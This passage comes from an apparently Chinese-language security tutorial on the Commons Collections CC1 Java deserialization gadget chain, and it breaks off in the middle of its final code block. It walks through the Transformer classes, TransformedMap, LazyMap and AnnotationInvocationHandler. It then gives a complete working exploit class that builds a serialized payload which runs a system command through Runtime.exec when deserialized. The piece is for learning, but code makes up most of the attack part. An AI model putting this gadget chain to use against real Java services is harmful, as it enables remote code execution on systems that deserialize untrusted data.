class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">interface</span> <span class="hljs-title class_">Transformer</span> {<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">transform</span><span class="hljs-params">(Object input)</span>;<br>}<br></code></pre></td></tr></table></figure><p>其接口具有几个关键的实现类</p><p>首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ConstantTransformer</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Transformer</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Object iConstant;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">ConstantTransformer</span><span class="hljs-params">(Object constantToReturn)</span> {<br> <span class="hljs-built_in">super</span>();<br> iConstant = constantToReturn;<br> }<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">transform</span><span class="hljs-params">(Object input)</span> {<br> <span class="hljs-keyword">return</span> iConstant;<br> }<br>}<br></code></pre></td></tr></table></figure><p>InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">InvokerTransformer</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Transformer</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> String iMethodName;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Class[] iParamTypes;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Object[] iArgs;<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">transform</span><span class="hljs-params">(Object input)</span> {<br> <span class="hljs-keyword">if</span> (input == <span class="hljs-literal">null</span>) {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;<br> }<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-type">Class</span> <span class="hljs-variable">cls</span> <span class="hljs-operator">=</span> input.getClass();<br> <span class="hljs-type">Method</span> <span class="hljs-variable">method</span> <span class="hljs-operator">=</span> cls.getMethod(iMethodName, iParamTypes);<br> <span class="hljs-keyword">return</span> method.invoke(input, iArgs);<br> } <span class="hljs-keyword">catch</span> (...Exception ex) {<br> <span class="hljs-keyword">throw</span> ...;<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ChainedTransformer</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Transformer</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Transformer[] iTransformers;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">ChainedTransformer</span><span class="hljs-params">(Transformer[] transformers)</span> {<br> <span class="hljs-built_in">super</span>();<br> iTransformers = transformers;<br> }<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">transform</span><span class="hljs-params">(Object object)</span> {<br> <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i < iTransformers.length; i++) {<br> object = iTransformers[i].transform(object);<br> }<br> <span class="hljs-keyword">return</span> object;<br> }<br>}<br></code></pre></td></tr></table></figure><p>在了解了以上后,我们可以轻松的写出初步的命令执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">Runtime</span> <span class="hljs-variable">r</span> <span class="hljs-operator">=</span> Runtime.getRuntime();<br><span class="hljs-type">InvokerTransformer</span> <span class="hljs-variable">invokerTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>[]{<span class="hljs-string">"calc"</span>});<br>invokerTransformer.transform(r);<br></code></pre></td></tr></table></figure><p>接下来需要去寻找完整调用链,即寻找调用transform函数的其他类</p><h4 id="TransformedMap链"><a href="#TransformedMap链" class="headerlink" title="TransformedMap链"></a>TransformedMap链</h4><p>我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TransformedMap</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">AbstractInputCheckedMapDecorator</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Serializable</span> {<br> <span class="hljs-keyword">protected</span> <span class="hljs-keyword">final</span> Transformer keyTransformer;<br> <span class="hljs-keyword">protected</span> <span class="hljs-keyword">final</span> Transformer valueTransformer;<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Map <span class="hljs-title function_">decorate</span><span class="hljs-params">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformedMap</span>(map, keyTransformer, valueTransformer);<br> }<br> <span class="hljs-keyword">protected</span> <span class="hljs-title function_">TransformedMap</span><span class="hljs-params">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> {<br> <span class="hljs-built_in">super</span>(map);<br> <span class="hljs-built_in">this</span>.keyTransformer = keyTransformer;<br> <span class="hljs-built_in">this</span>.valueTransformer = valueTransformer;<br> }<br> <span class="hljs-keyword">protected</span> Object <span class="hljs-title function_">checkSetValue</span><span class="hljs-params">(Object value)</span> {<br> <span class="hljs-keyword">return</span> valueTransformer.transform(value);<br> }<br>}<br></code></pre></td></tr></table></figure><p>接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">static</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MapEntry</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">AbstractMapEntryDecorator</span> {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> AbstractInputCheckedMapDecorator parent;<br> <span class="hljs-keyword">protected</span> <span class="hljs-title function_">MapEntry</span><span class="hljs-params">(Map.Entry entry, AbstractInputCheckedMapDecorator parent)</span> {<br> <span class="hljs-built_in">super</span>(entry);<br> <span class="hljs-built_in">this</span>.parent = parent;<br> }<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">setValue</span><span class="hljs-params">(Object value)</span> {<br> value = parent.checkSetValue(value);<br> <span class="hljs-keyword">return</span> entry.setValue(value);<br> }<br>}<br></code></pre></td></tr></table></figure><p>此时,可以写出更进一步的命令执行方式</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">Runtime</span> <span class="hljs-variable">r</span> <span class="hljs-operator">=</span> Runtime.getRuntime();<br><span class="hljs-type">InvokerTransformer</span> <span class="hljs-variable">invokerTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>[]{<span class="hljs-string">"calc"</span>});<br>HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br>map.put(<span class="hljs-string">"key"</span>, <span class="hljs-string">"value"</span>);<br>Map<Object,Object> transformedMap = TransformedMap.decorate(map, <span class="hljs-literal">null</span>, invokerTransformer);<br><span class="hljs-keyword">for</span>(Map.Entry entry: transformedMap.entrySet()){<br> entry.setValue(r);<br>}<br></code></pre></td></tr></table></figure><p>最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类</p><p>注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">class</span> <span class="hljs-title class_">AnnotationInvocationHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">InvocationHandler</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">Annotation</span>> type;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Map<String, Object> memberValues;<br> AnnotationInvocationHandler(Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">Annotation</span>> type, Map<String, Object> memberValues) {<br> Class<?>[] superInterfaces = type.getInterfaces();<br> <span class="hljs-keyword">if</span> (!type.isAnnotation() || superInterfaces.length != <span class="hljs-number">1</span> || superInterfaces[<span class="hljs-number">0</span>] != java.lang.annotation.Annotation.class)<br> <span class="hljs-keyword">throw</span> ...;<br> <span class="hljs-built_in">this</span>.type = type;<br> <span class="hljs-built_in">this</span>.memberValues = memberValues;<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">readObject</span><span class="hljs-params">(java.io.ObjectInputStream s)</span> <span class="hljs-keyword">throws</span> ... {<br> s.defaultReadObject();<br> <span class="hljs-type">AnnotationType</span> <span class="hljs-variable">annotationType</span> <span class="hljs-operator">=</span> <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">try</span> {<br> annotationType = AnnotationType.getInstance(type);<br> } <span class="hljs-keyword">catch</span>(IllegalArgumentException e) {<br> <span class="hljs-keyword">throw</span> ...;<br> }<br> Map<String, Class<?>> memberTypes = annotationType.memberTypes();<br> <span class="hljs-keyword">for</span> (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {<br> <span class="hljs-type">String</span> <span class="hljs-variable">name</span> <span class="hljs-operator">=</span> memberValue.getKey();<br> Class<?> memberType = memberTypes.get(name);<br> <span class="hljs-keyword">if</span> (memberType != <span class="hljs-literal">null</span>) {<br> <span class="hljs-type">Object</span> <span class="hljs-variable">value</span> <span class="hljs-operator">=</span> memberValue.getValue();<br> <span class="hljs-keyword">if</span> (!(memberType.isInstance(value) || value <span class="hljs-keyword">instanceof</span> ExceptionProxy)) {<br> memberValue.setValue( <span class="hljs-keyword">new</span> <span class="hljs-title class_">AnnotationTypeMismatchExceptionProxy</span>(value.getClass() + <span class="hljs-string">"["</span> + value + <span class="hljs-string">"]"</span>).setMember(annotationType.members().get(name)) );<br> }<br> }<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题</p><p>首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs java">Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br>};<br><span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br></code></pre></td></tr></table></figure><p>接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。</p><p>最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。</p><p>于是,我们可以写出完整的CC1 TransformedMap链代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC1</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> map.put(<span class="hljs-string">"value"</span>, <span class="hljs-string">"value"</span>);<br> <span class="hljs-type">Map</span> <span class="hljs-variable">transformedMap</span> <span class="hljs-operator">=</span> TransformedMap.decorate(map, <span class="hljs-literal">null</span>, chainedTransformer);<br> Constructor<?> declaredConstructor = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>).getDeclaredConstructor(Class.class, Map.class);<br> declaredConstructor.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> declaredConstructor.newInstance(Retention.class, transformedMap);<br> serialize(o);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h4 id="LazyMap链"><a href="#LazyMap链" class="headerlink" title="LazyMap链"></a>LazyMap链</h4><p>上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">LazyMap</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">AbstractMapDecorator</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Map</span>, Serializable {<br> <span class="hljs-keyword">protected</span> <span class="hljs-keyword">final</span> Transformer factory;<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Map <span class="hljs-title function_">decorate</span><span class="hljs-params">(Map map, Transformer factory)</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">LazyMap</span>(map, factory);<br> }<br> <span class="hljs-keyword">protected</span> <span class="hljs-title function_">LazyMap</span><span class="hljs-params">(Map map, Transformer factory)</span> {<br> <span class="hljs-built_in">super</span>(map);<br> <span class="hljs-keyword">if</span> (factory == <span class="hljs-literal">null</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">"Factory must not be null"</span>);<br> }<br> <span class="hljs-built_in">this</span>.factory = factory;<br> }<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">get</span><span class="hljs-params">(Object key)</span> {<br> <span class="hljs-keyword">if</span> (map.containsKey(key) == <span class="hljs-literal">false</span>) {<br> <span class="hljs-type">Object</span> <span class="hljs-variable">value</span> <span class="hljs-operator">=</span> factory.transform(key);<br> map.put(key, value);<br> <span class="hljs-keyword">return</span> value;<br> }<br> <span class="hljs-keyword">return</span> map.get(key);<br> }<br>}<br></code></pre></td></tr></table></figure><p>注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> Object <span class="hljs-title function_">invoke</span><span class="hljs-params">(Object proxy, Method method, Object[] args)</span> {<br> <span class="hljs-type">String</span> <span class="hljs-variable">member</span> <span class="hljs-operator">=</span> method.getName();<br> Class<?>[] paramTypes = method.getParameterTypes();<br> <span class="hljs-keyword">if</span> (member.equals(<span class="hljs-string">"equals"</span>) && paramTypes.length == <span class="hljs-number">1</span> && paramTypes[<span class="hljs-number">0</span>] == Object.class)<br> <span class="hljs-keyword">return</span> equalsImpl(args[<span class="hljs-number">0</span>]);<br> <span class="hljs-keyword">if</span> (paramTypes.length != <span class="hljs-number">0</span>)<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">AssertionError</span>(<span class="hljs-string">"Too many parameters for an annotation method"</span>);<br> <span class="hljs-keyword">switch</span>(member) {<br> <span class="hljs-keyword">case</span> <span class="hljs-string">"toString"</span>:<br> <span class="hljs-keyword">return</span> toStringImpl();<br> <span class="hljs-keyword">case</span> <span class="hljs-string">"hashCode"</span>:<br> <span class="hljs-keyword">return</span> hashCodeImpl();<br> <span class="hljs-keyword">case</span> <span class="hljs-string">"annotationType"</span>:<br> <span class="hljs-keyword">return</span> type;<br> }<br> <span class="hljs-type">Object</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span> memberValues.get(member);<br> <span class="hljs-keyword">if</span> (result == <span class="hljs-literal">null</span>)<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IncompleteAnnotationException</span>(type, member);<br> <span class="hljs-keyword">if</span> (result <span class="hljs-keyword">instanceof</span> ExceptionProxy)<br> <span class="hljs-keyword">throw</span> ((ExceptionProxy) result).generateException();<br> <span class="hljs-keyword">if</span> (result.getClass().isArray() && Array.getLength(result) != <span class="hljs-number">0</span>)<br> result = cloneArray(result);<br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs java">Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br>};<br><span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br>HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br><span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap</span> <span class="hljs-operator">=</span> LazyMap.decorate(map, chainedTransformer);<br>Constructor<?> declaredConstructor = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>).getDeclaredConstructor(Class.class, Map.class);<br>declaredConstructor.setAccessible(<span class="hljs-literal">true</span>);<br><span class="hljs-type">InvocationHandler</span> <span class="hljs-variable">handler</span> <span class="hljs-operator">=</span> (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);<br>handler.invoke(<span class="hljs-literal">null</span>,Class.forName(<span class="hljs-string">"java.lang.Object"</span>).getMethod(<span class="hljs-string">"wait"</span>),<span class="hljs-literal">null</span>);<span class="hljs-comment">//触发点</span><br></code></pre></td></tr></table></figure><p>invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC1</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span 